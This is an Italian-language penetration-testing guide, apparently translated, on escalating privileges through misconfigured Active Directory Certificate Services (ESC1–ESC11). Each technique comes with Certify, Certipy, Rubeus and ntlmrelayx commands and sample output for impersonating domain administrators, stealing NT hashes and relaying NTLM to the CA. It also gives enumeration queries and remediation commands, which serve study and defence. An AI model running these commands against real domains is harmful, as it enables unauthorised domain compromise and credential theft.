AD CS Domain Escalation

Reading time: 42 minutes

Questo è un riepilogo delle sezioni delle tecniche di escalation dei post:

• https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
• https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
• https://github.com/ly4k/Certipy

Modelli di Certificato Malconfigurati - ESC1

Spiegazione

Modelli di Certificato Malconfigurati - ESC1 Spiegato

• I diritti di iscrizione sono concessi a utenti a bassa privilegio da parte dell'Enterprise CA.
• L'approvazione del manager non è richiesta.
• Non sono necessarie firme da parte del personale autorizzato.
• I descrittori di sicurezza sui modelli di certificato sono eccessivamente permissivi, consentendo agli utenti a bassa privilegio di ottenere diritti di iscrizione.
• I modelli di certificato sono configurati per definire EKU che facilitano l'autenticazione:
• Identificatori di Extended Key Usage (EKU) come Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), o nessun EKU (SubCA) sono inclusi.
• La possibilità per i richiedenti di includere un subjectAltName nella Certificate Signing Request (CSR) è consentita dal modello:
• L'Active Directory (AD) dà priorità al subjectAltName (SAN) in un certificato per la verifica dell'identità se presente. Ciò significa che specificando il SAN in una CSR, può essere richiesto un certificato per impersonare qualsiasi utente (ad es., un amministratore di dominio). Se un SAN può essere specificato dal richiedente è indicato nell'oggetto AD del modello di certificato attraverso la proprietà mspki-certificate-name-flag. Questa proprietà è un bitmask, e la presenza del flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT consente la specifica del SAN da parte del richiedente.

Questa funzionalità è talvolta abilitata per supportare la generazione al volo di certificati HTTPS o di host da parte di prodotti o servizi di distribuzione, o a causa di una mancanza di comprensione.

Si nota che la creazione di un certificato con questa opzione attiva un avviso, il che non accade quando un modello di certificato esistente (come il modello WebServer, che ha CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT abilitato) viene duplicato e poi modificato per includere un OID di autenticazione.

Abuso

Per trovare modelli di certificato vulnerabili puoi eseguire:

Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128

Per sfruttare questa vulnerabilità per impersonare un amministratore si potrebbe eseguire:

Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'

Puoi quindi trasformare il certificato generato in formato .pfx e usarlo per autenticarti utilizzando Rubeus o certipy di nuovo:

Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100

I file binari di Windows "Certreq.exe" e "Certutil.exe" possono essere utilizzati per generare il PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee

L'enumerazione dei modelli di certificato all'interno dello schema di configurazione della foresta AD, specificamente quelli che non richiedono approvazione o firme, che possiedono un EKU di Autenticazione Client o Accesso con Smart Card, e con il flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT abilitato, può essere eseguita eseguendo la seguente query LDAP:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))

Modelli di Certificati Mal Configurati - ESC2

Spiegazione

Il secondo scenario di abuso è una variazione del primo:

1. I diritti di registrazione sono concessi a utenti a bassa privilegi da parte dell'Enterprise CA.
2. Il requisito di approvazione del manager è disabilitato.
3. La necessità di firme autorizzate è omessa.
4. Un descrittore di sicurezza eccessivamente permissivo sul modello di certificato concede diritti di registrazione del certificato a utenti a bassa privilegi.
5. Il modello di certificato è definito per includere l'Any Purpose EKU o nessun EKU.

L'Any Purpose EKU consente a un certificato di essere ottenuto da un attaccante per qualsiasi scopo, inclusa l'autenticazione del client, l'autenticazione del server, la firma del codice, ecc. La stessa tecnica utilizzata per ESC3 può essere impiegata per sfruttare questo scenario.

I certificati con nessun EKU, che fungono da certificati CA subordinati, possono essere sfruttati per qualsiasi scopo e possono anche essere utilizzati per firmare nuovi certificati. Pertanto, un attaccante potrebbe specificare EKU o campi arbitrari nei nuovi certificati utilizzando un certificato CA subordinato.

Tuttavia, i nuovi certificati creati per l'autenticazione del dominio non funzioneranno se la CA subordinata non è fidata dall'oggetto NTAuthCertificates, che è l'impostazione predefinita. Tuttavia, un attaccante può comunque creare nuovi certificati con qualsiasi EKU e valori di certificato arbitrari. Questi potrebbero essere potenzialmente abusati per una vasta gamma di scopi (ad es., firma del codice, autenticazione del server, ecc.) e potrebbero avere implicazioni significative per altre applicazioni nella rete come SAML, AD FS o IPSec.

Per enumerare i modelli che corrispondono a questo scenario all'interno dello schema di configurazione della foresta AD, può essere eseguita la seguente query LDAP:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

Modelli di Agente di Registrazione Malconfigurati - ESC3

Spiegazione

Questo scenario è simile al primo e al secondo, ma abusa di un EKU (Agente di Richiesta di Certificato) diverso e 2 modelli diversi (pertanto ha 2 set di requisiti),

L'EKU di Richiesta di Certificato (OID 1.3.6.1.4.1.311.20.2.1), noto come Agente di Registrazione nella documentazione Microsoft, consente a un principale di registrarsi per un certificato per conto di un altro utente.

L'“agente di registrazione” si registra in un modello e utilizza il certificato risultante per co-firmare un CSR per conto dell'altro utente. Poi invia il CSR co-firmato all'CA, registrandosi in un modello che permette “registrarsi per conto di”, e l'CA risponde con un certificato appartenente all'“altro” utente.

Requisiti 1:

• I diritti di registrazione sono concessi a utenti a basso privilegio dall'Enterprise CA.
• Il requisito per l'approvazione del manager è omesso.
• Nessun requisito per firme autorizzate.
• Il descrittore di sicurezza del modello di certificato è eccessivamente permissivo, concedendo diritti di registrazione a utenti a basso privilegio.
• Il modello di certificato include l'EKU di Richiesta di Certificato, abilitando la richiesta di altri modelli di certificato per conto di altri principali.

Requisiti 2:

• L'Enterprise CA concede diritti di registrazione a utenti a basso privilegio.
• L'approvazione del manager è bypassata.
• La versione dello schema del modello è 1 o supera 2, e specifica un Requisito di Emissione di Politica Applicativa che richiede l'EKU di Richiesta di Certificato.
• Un EKU definito nel modello di certificato consente l'autenticazione del dominio.
• Le restrizioni per gli agenti di registrazione non sono applicate sull'CA.

Abuso

Puoi utilizzare Certify o Certipy per abusare di questo scenario:

# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'

# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf

Gli utenti che sono autorizzati a ottenere un certificato di agente di registrazione, i modelli nei quali gli agenti di registrazione sono autorizzati a registrarsi e gli account per conto dei quali l'agente di registrazione può agire possono essere limitati dalle CA aziendali. Questo si ottiene aprendo il certsrc.msc snap-in, facendo clic con il tasto destro sulla CA, selezionando Proprietà, e poi navigando alla scheda “Agenti di registrazione”.

Tuttavia, si nota che l'impostazione predefinita per le CA è “Non limitare gli agenti di registrazione.” Quando la restrizione sugli agenti di registrazione è abilitata dagli amministratori, impostandola su “Limitare gli agenti di registrazione,” la configurazione predefinita rimane estremamente permissiva. Consente l'accesso a Tutti per registrarsi in tutti i modelli come chiunque.

Controllo degli accessi ai modelli di certificato vulnerabili - ESC4

Spiegazione

Il descrittore di sicurezza sui modelli di certificato definisce le autorizzazioni specifiche che i principali AD possiedono riguardo al modello.

Se un attaccante possiede le necessarie autorizzazioni per modificare un modello e istituire eventuali misconfigurazioni sfruttabili delineate nelle sezioni precedenti, l'escalation dei privilegi potrebbe essere facilitata.

Le autorizzazioni notevoli applicabili ai modelli di certificato includono:

• Proprietario: Concede il controllo implicito sull'oggetto, consentendo la modifica di qualsiasi attributo.
• FullControl: Abilita l'autorità completa sull'oggetto, inclusa la capacità di modificare qualsiasi attributo.
• WriteOwner: Permette la modifica del proprietario dell'oggetto a un principale sotto il controllo dell'attaccante.
• WriteDacl: Consente l'aggiustamento dei controlli di accesso, potenzialmente concedendo a un attaccante FullControl.
• WriteProperty: Autorizza la modifica di qualsiasi proprietà dell'oggetto.

Abuso

Un esempio di privesc come il precedente:

ESC4 è quando un utente ha privilegi di scrittura su un modello di certificato. Questo può essere abusato, ad esempio, per sovrascrivere la configurazione del modello di certificato per renderlo vulnerabile a ESC1.

Come possiamo vedere nel percorso sopra, solo JOHNPC ha questi privilegi, ma il nostro utente JOHN ha il nuovo edge AddKeyCredentialLink verso JOHNPC. Poiché questa tecnica è correlata ai certificati, ho implementato anche questo attacco, noto come Shadow Credentials. Ecco un piccolo assaggio del comando shadow auto di Certipy per recuperare l'hash NT della vittima.

certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'

Certipy può sovrascrivere la configurazione di un modello di certificato con un singolo comando. Per default, Certipy sovrascriverà la configurazione per renderla vulnerabile a ESC1. Possiamo anche specificare il -save-old parametro per salvare la vecchia configurazione, che sarà utile per ripristinare la configurazione dopo il nostro attacco.

# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old

# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local

# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json

Vulnerable PKI Object Access Control - ESC5

Spiegazione

La vasta rete di relazioni interconnesse basate su ACL, che include diversi oggetti oltre ai modelli di certificato e all'autorità di certificazione, può influenzare la sicurezza dell'intero sistema AD CS. Questi oggetti, che possono influenzare significativamente la sicurezza, comprendono:

• L'oggetto computer AD del server CA, che può essere compromesso attraverso meccanismi come S4U2Self o S4U2Proxy.
• Il server RPC/DCOM del server CA.
• Qualsiasi oggetto o contenitore AD discendente all'interno del percorso specifico CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>. Questo percorso include, ma non è limitato a, contenitori e oggetti come il contenitore dei Modelli di Certificato, il contenitore delle Autorità di Certificazione, l'oggetto NTAuthCertificates e il Contenitore dei Servizi di Registrazione.

La sicurezza del sistema PKI può essere compromessa se un attaccante a basso privilegio riesce a ottenere il controllo su uno di questi componenti critici.

EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

Spiegazione

L'argomento discusso nel post di CQure Academy tocca anche le implicazioni del flag EDITF_ATTRIBUTESUBJECTALTNAME2, come delineato da Microsoft. Questa configurazione, quando attivata su un'Autorità di Certificazione (CA), consente l'inclusione di valori definiti dall'utente nel nome alternativo del soggetto per qualsiasi richiesta, comprese quelle costruite da Active Directory®. Di conseguenza, questa disposizione consente a un intruso di registrarsi attraverso qualsiasi modello impostato per l'autenticazione del dominio—specificamente quelli aperti alla registrazione di utenti non privilegiati, come il modello standard Utente. Di conseguenza, un certificato può essere ottenuto, consentendo all'intruso di autenticarsi come amministratore di dominio o qualsiasi altra entità attiva all'interno del dominio.

Nota: L'approccio per aggiungere nomi alternativi in una Richiesta di Firma del Certificato (CSR), attraverso l'argomento -attrib "SAN:" in certreq.exe (definito come “Name Value Pairs”), presenta un contrasto rispetto alla strategia di sfruttamento degli SAN in ESC1. Qui, la distinzione risiede in come le informazioni sull'account sono incapsulate—all'interno di un attributo del certificato, piuttosto che in un'estensione.

Abuso

Per verificare se l'impostazione è attivata, le organizzazioni possono utilizzare il seguente comando con certutil.exe:

certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"

Questa operazione impiega essenzialmente l'accesso al registro remoto, quindi, un approccio alternativo potrebbe essere:

reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

Strumenti come Certify e Certipy sono in grado di rilevare questa misconfigurazione e sfruttarla:

# Detect vulnerabilities, including this one
Certify.exe find

# Exploit vulnerability
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local

Per modificare queste impostazioni, assumendo di possedere diritti amministrativi di dominio o equivalenti, il seguente comando può essere eseguito da qualsiasi workstation:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

Per disabilitare questa configurazione nel tuo ambiente, il flag può essere rimosso con:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

Controllo degli Accessi dell'Autorità di Certificazione Vulnerabile - ESC7

Attacco 1

Spiegazione

Il controllo degli accessi per un'autorità di certificazione è mantenuto attraverso un insieme di permessi che governano le azioni della CA. Questi permessi possono essere visualizzati accedendo a certsrv.msc, facendo clic con il tasto destro su una CA, selezionando proprietà e poi navigando alla scheda Sicurezza. Inoltre, i permessi possono essere enumerati utilizzando il modulo PSPKI con comandi come:

Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access

Questo fornisce informazioni sui diritti principali, ovvero ManageCA e ManageCertificates, che corrispondono ai ruoli di “amministratore CA” e “gestore certificati” rispettivamente.

Abuso

Avere diritti ManageCA su un'autorità di certificazione consente al principale di manipolare le impostazioni da remoto utilizzando PSPKI. Questo include l'attivazione del flag EDITF_ATTRIBUTESUBJECTALTNAME2 per consentire la specifica di SAN in qualsiasi modello, un aspetto critico dell'escalation del dominio.

La semplificazione di questo processo è realizzabile attraverso l'uso del cmdlet Enable-PolicyModuleFlag di PSPKI, che consente modifiche senza interazione diretta con l'interfaccia grafica.

Il possesso di diritti ManageCertificates facilita l'approvazione delle richieste in sospeso, eludendo efficacemente la protezione "approvazione del gestore certificati CA".

Una combinazione dei moduli Certify e PSPKI può essere utilizzata per richiedere, approvare e scaricare un certificato:

# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response      : The certificate is still pending.
[*] Request ID       : 336
[...]

# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest

# Download the certificate
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336

Attacco 2

Spiegazione

Pertanto, un altro attacco è presentato qui.

Prerequisiti:

• Solo permesso ManageCA
• Permesso Manage Certificates (può essere concesso da ManageCA)
• Il modello di certificato SubCA deve essere abilitato (può essere abilitato da ManageCA)

La tecnica si basa sul fatto che gli utenti con il diritto di accesso Manage CA e Manage Certificates possono emissione di richieste di certificato fallite. Il modello di certificato SubCA è vulnerabile a ESC1, ma solo gli amministratori possono iscriversi al modello. Pertanto, un utente può richiedere di iscriversi al SubCA - che sarà negata - ma poi emessa dal manager successivamente.

Abuso

Puoi concederti il diritto di accesso Manage Certificates aggiungendo il tuo utente come nuovo ufficiale.

certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'John' on 'corp-DC-CA'

Il SubCA template può essere abilitato sulla CA con il parametro -enable-template. Per impostazione predefinita, il template SubCA è abilitato.

# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it

# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'corp-DC-CA'

Se abbiamo soddisfatto i requisiti per questo attacco, possiamo iniziare richiedendo un certificato basato sul modello SubCA.

Questa richiesta verrà negata, ma salveremo la chiave privata e annoteremo l'ID della richiesta.

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate

Con il nostro Manage CA e Manage Certificates, possiamo quindi emettere la richiesta di certificato fallita con il comando ca e il parametro -issue-request <request ID>.

certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

E infine, possiamo recuperare il certificato emesso con il comando req e il parametro -retrieve <request ID>.

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'

NTLM Relay to AD CS HTTP Endpoints – ESC8

Spiegazione

Diversi metodi di registrazione basati su HTTP sono supportati da AD CS, resi disponibili attraverso ruoli server aggiuntivi che gli amministratori possono installare. Queste interfacce per la registrazione di certificati basata su HTTP sono suscettibili a attacchi di relay NTLM. Un attaccante, da una macchina compromessa, può impersonare qualsiasi account AD che si autentica tramite NTLM in entrata. Mentre impersona l'account vittima, queste interfacce web possono essere accessibili da un attaccante per richiedere un certificato di autenticazione client utilizzando i modelli di certificato User o Machine.

• L'interfaccia di registrazione web (un'applicazione ASP più vecchia disponibile su http://<caserver>/certsrv/), per impostazione predefinita utilizza solo HTTP, che non offre protezione contro gli attacchi di relay NTLM. Inoltre, consente esplicitamente solo l'autenticazione NTLM attraverso il suo header HTTP di autorizzazione, rendendo inapplicabili metodi di autenticazione più sicuri come Kerberos.
• Il Certificate Enrollment Service (CES), il Certificate Enrollment Policy (CEP) Web Service e il Network Device Enrollment Service (NDES) supportano per impostazione predefinita l'autenticazione negotiate tramite il loro header HTTP di autorizzazione. L'autenticazione negotiate supporta sia Kerberos che NTLM, consentendo a un attaccante di downgradare a NTLM durante gli attacchi di relay. Sebbene questi servizi web abilitino HTTPS per impostazione predefinita, HTTPS da solo non protegge contro gli attacchi di relay NTLM. La protezione dagli attacchi di relay NTLM per i servizi HTTPS è possibile solo quando HTTPS è combinato con il channel binding. Sfortunatamente, AD CS non attiva la Protezione Estesa per l'Autenticazione su IIS, che è necessaria per il channel binding.

Un comune problema con gli attacchi di relay NTLM è la breve durata delle sessioni NTLM e l'incapacità dell'attaccante di interagire con i servizi che richiedono la firma NTLM.

Tuttavia, questa limitazione viene superata sfruttando un attacco di relay NTLM per acquisire un certificato per l'utente, poiché il periodo di validità del certificato determina la durata della sessione, e il certificato può essere utilizzato con servizi che richiedono la firma NTLM. Per istruzioni su come utilizzare un certificato rubato, fare riferimento a:

AD CS Account Persistence

Un'altra limitazione degli attacchi di relay NTLM è che una macchina controllata dall'attaccante deve essere autenticata da un account vittima. L'attaccante potrebbe aspettare o tentare di forzare questa autenticazione:

Force NTLM Privileged Authentication

Abuso

Certify’s cas enumera endpoint HTTP AD CS abilitati:

Certify.exe cas

La proprietà msPKI-Enrollment-Servers è utilizzata dalle Autorità di Certificazione (CA) aziendali per memorizzare gli endpoint del Servizio di Registrazione dei Certificati (CES). Questi endpoint possono essere analizzati e elencati utilizzando lo strumento Certutil.exe:

certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA

Import-Module PSPKI
Get-CertificationAuthority | select Name,Enroll* | Format-List *

Abuso con Certify

## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080

## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>

Abuso con Certipy

La richiesta per un certificato viene effettuata da Certipy per impostazione predefinita in base al modello Machine o User, determinato dal fatto che il nome dell'account da relazionare termini con $. La specifica di un modello alternativo può essere ottenuta attraverso l'uso del parametro -template.

Una tecnica come PetitPotam può quindi essere impiegata per costringere l'autenticazione. Quando si tratta di controller di dominio, è necessaria la specifica di -template DomainController.

certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

No Security Extension - ESC9

Spiegazione

Il nuovo valore CT_FLAG_NO_SECURITY_EXTENSION (0x80000) per msPKI-Enrollment-Flag, noto come ESC9, impedisce l'inserimento della nuova estensione di sicurezza szOID_NTDS_CA_SECURITY_EXT in un certificato. Questo flag diventa rilevante quando StrongCertificateBindingEnforcement è impostato su 1 (l'impostazione predefinita), in contrasto con un'impostazione di 2. La sua rilevanza aumenta in scenari in cui una mappatura del certificato più debole per Kerberos o Schannel potrebbe essere sfruttata (come in ESC10), dato che l'assenza di ESC9 non altererebbe i requisiti.

Le condizioni in cui l'impostazione di questo flag diventa significativa includono:

• StrongCertificateBindingEnforcement non è regolato su 2 (con il predefinito che è 1), o CertificateMappingMethods include il flag UPN.
• Il certificato è contrassegnato con il flag CT_FLAG_NO_SECURITY_EXTENSION all'interno dell'impostazione msPKI-Enrollment-Flag.
• Qualsiasi EKU di autenticazione del client è specificato dal certificato.
• I permessi GenericWrite sono disponibili su qualsiasi account per compromettere un altro.

Scenario di Abuso

Supponiamo che John@corp.local detenga permessi GenericWrite su Jane@corp.local, con l'obiettivo di compromettere Administrator@corp.local. Il modello di certificato ESC9, a cui Jane@corp.local è autorizzata a iscriversi, è configurato con il flag CT_FLAG_NO_SECURITY_EXTENSION nella sua impostazione msPKI-Enrollment-Flag.

Inizialmente, l'hash di Jane viene acquisito utilizzando Shadow Credentials, grazie a John's GenericWrite:

certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane

Successivamente, il userPrincipalName di Jane viene modificato in Administrator, omettendo volutamente la parte del dominio @corp.local:

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

Questa modifica non viola i vincoli, dato che Administrator@corp.local rimane distinto come userPrincipalName di Administrator.

Dopo di ciò, il modello di certificato ESC9, contrassegnato come vulnerabile, viene richiesto come Jane:

certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9

Si nota che il userPrincipalName del certificato riflette Administrator, privo di qualsiasi “object SID”.

Il userPrincipalName di Jane viene quindi ripristinato al suo originale, Jane@corp.local:

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

Tentare l'autenticazione con il certificato emesso ora restituisce l'hash NT di Administrator@corp.local. Il comando deve includere -domain <domain> a causa della mancanza di specifica del dominio nel certificato:

certipy auth -pfx adminitrator.pfx -domain corp.local

Weak Certificate Mappings - ESC10

Spiegazione

Due valori di chiave di registro sul controller di dominio sono indicati da ESC10:

• Il valore predefinito per CertificateMappingMethods sotto HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel è 0x18 (0x8 | 0x10), precedentemente impostato su 0x1F.
• L'impostazione predefinita per StrongCertificateBindingEnforcement sotto HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc è 1, precedentemente 0.

Caso 1

Quando StrongCertificateBindingEnforcement è configurato come 0.

Caso 2

Se CertificateMappingMethods include il bit UPN (0x4).

Caso di Abuso 1

Con StrongCertificateBindingEnforcement configurato come 0, un account A con permessi GenericWrite può essere sfruttato per compromettere qualsiasi account B.

Ad esempio, avendo permessi GenericWrite su Jane@corp.local, un attaccante mira a compromettere Administrator@corp.local. La procedura rispecchia ESC9, consentendo di utilizzare qualsiasi modello di certificato.

Inizialmente, l'hash di Jane viene recuperato utilizzando Shadow Credentials, sfruttando il GenericWrite.

certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane

Successivamente, il userPrincipalName di Jane viene modificato in Administrator, omettendo deliberatamente la parte @corp.local per evitare una violazione dei vincoli.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

Successivamente, viene richiesta una certificazione che abilita l'autenticazione del client come Jane, utilizzando il modello predefinito User.

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

Il userPrincipalName di Jane viene quindi ripristinato al suo originale, Jane@corp.local.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

Autenticarsi con il certificato ottenuto restituirà l'hash NT di Administrator@corp.local, rendendo necessaria la specifica del dominio nel comando a causa dell'assenza di dettagli sul dominio nel certificato.

certipy auth -pfx administrator.pfx -domain corp.local

Abuse Case 2

Con il CertificateMappingMethods che contiene il flag bit UPN (0x4), un account A con permessi GenericWrite può compromettere qualsiasi account B privo della proprietà userPrincipalName, inclusi gli account macchina e l'amministratore di dominio integrato Administrator.

Qui, l'obiettivo è compromettere DC$@corp.local, iniziando con l'ottenere l'hash di Jane tramite Shadow Credentials, sfruttando il GenericWrite.

certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane

Jane's userPrincipalName è quindi impostato su DC$@corp.local.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'

Un certificato per l'autenticazione del client viene richiesto come Jane utilizzando il modello predefinito User.

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

Il userPrincipalName di Jane viene ripristinato al suo originale dopo questo processo.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'

Per autenticarsi tramite Schannel, viene utilizzata l'opzione -ldap-shell di Certipy, che indica il successo dell'autenticazione come u:CORP\DC$.

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

Attraverso la shell LDAP, comandi come set_rbcd abilitano attacchi di Delegazione Constrainata Basata sulle Risorse (RBCD), compromettendo potenzialmente il controller di dominio.

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

Questa vulnerabilità si estende anche a qualsiasi account utente privo di un userPrincipalName o in cui non corrisponde al sAMAccountName, con il predefinito Administrator@corp.local che è un obiettivo principale a causa dei suoi privilegi LDAP elevati e dell'assenza di un userPrincipalName per impostazione predefinita.

Relaying NTLM to ICPR - ESC11

Spiegazione

Se il server CA non è configurato con IF_ENFORCEENCRYPTICERTREQUEST, può essere soggetto ad attacchi di relay NTLM senza firma tramite il servizio RPC. Reference in here.

Puoi usare certipy per enumerare se Enforce Encryption for Requests è disabilitato e certipy mostrerà le vulnerabilità ESC11.

$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)

Certificate Authorities
0
CA Name                             : DC01-CA
DNS Name                            : DC01.domain.local
Certificate Subject                 : CN=DC01-CA, DC=domain, DC=local
....
Enforce Encryption for Requests     : Disabled
....
[!] Vulnerabilities
ESC11                             : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue

Abuse Scenario

È necessario configurare un server di relay:

$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting rpc://DC01.domain.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:DC01.domain.local[135] to determine ICPR stringbinding
[*] Attacking user 'Administrator@DOMAIN'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'Administrator' with template 'User'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with UPN 'Administrator@domain.local'
[*] Certificate object SID is 'S-1-5-21-1597581903-3066826612-568686062-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

Nota: Per i controller di dominio, dobbiamo specificare -template in DomainController.

Oppure usando il fork di impacket di sploutchy:

$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support

Accesso shell a ADCS CA con YubiHSM - ESC12

Spiegazione

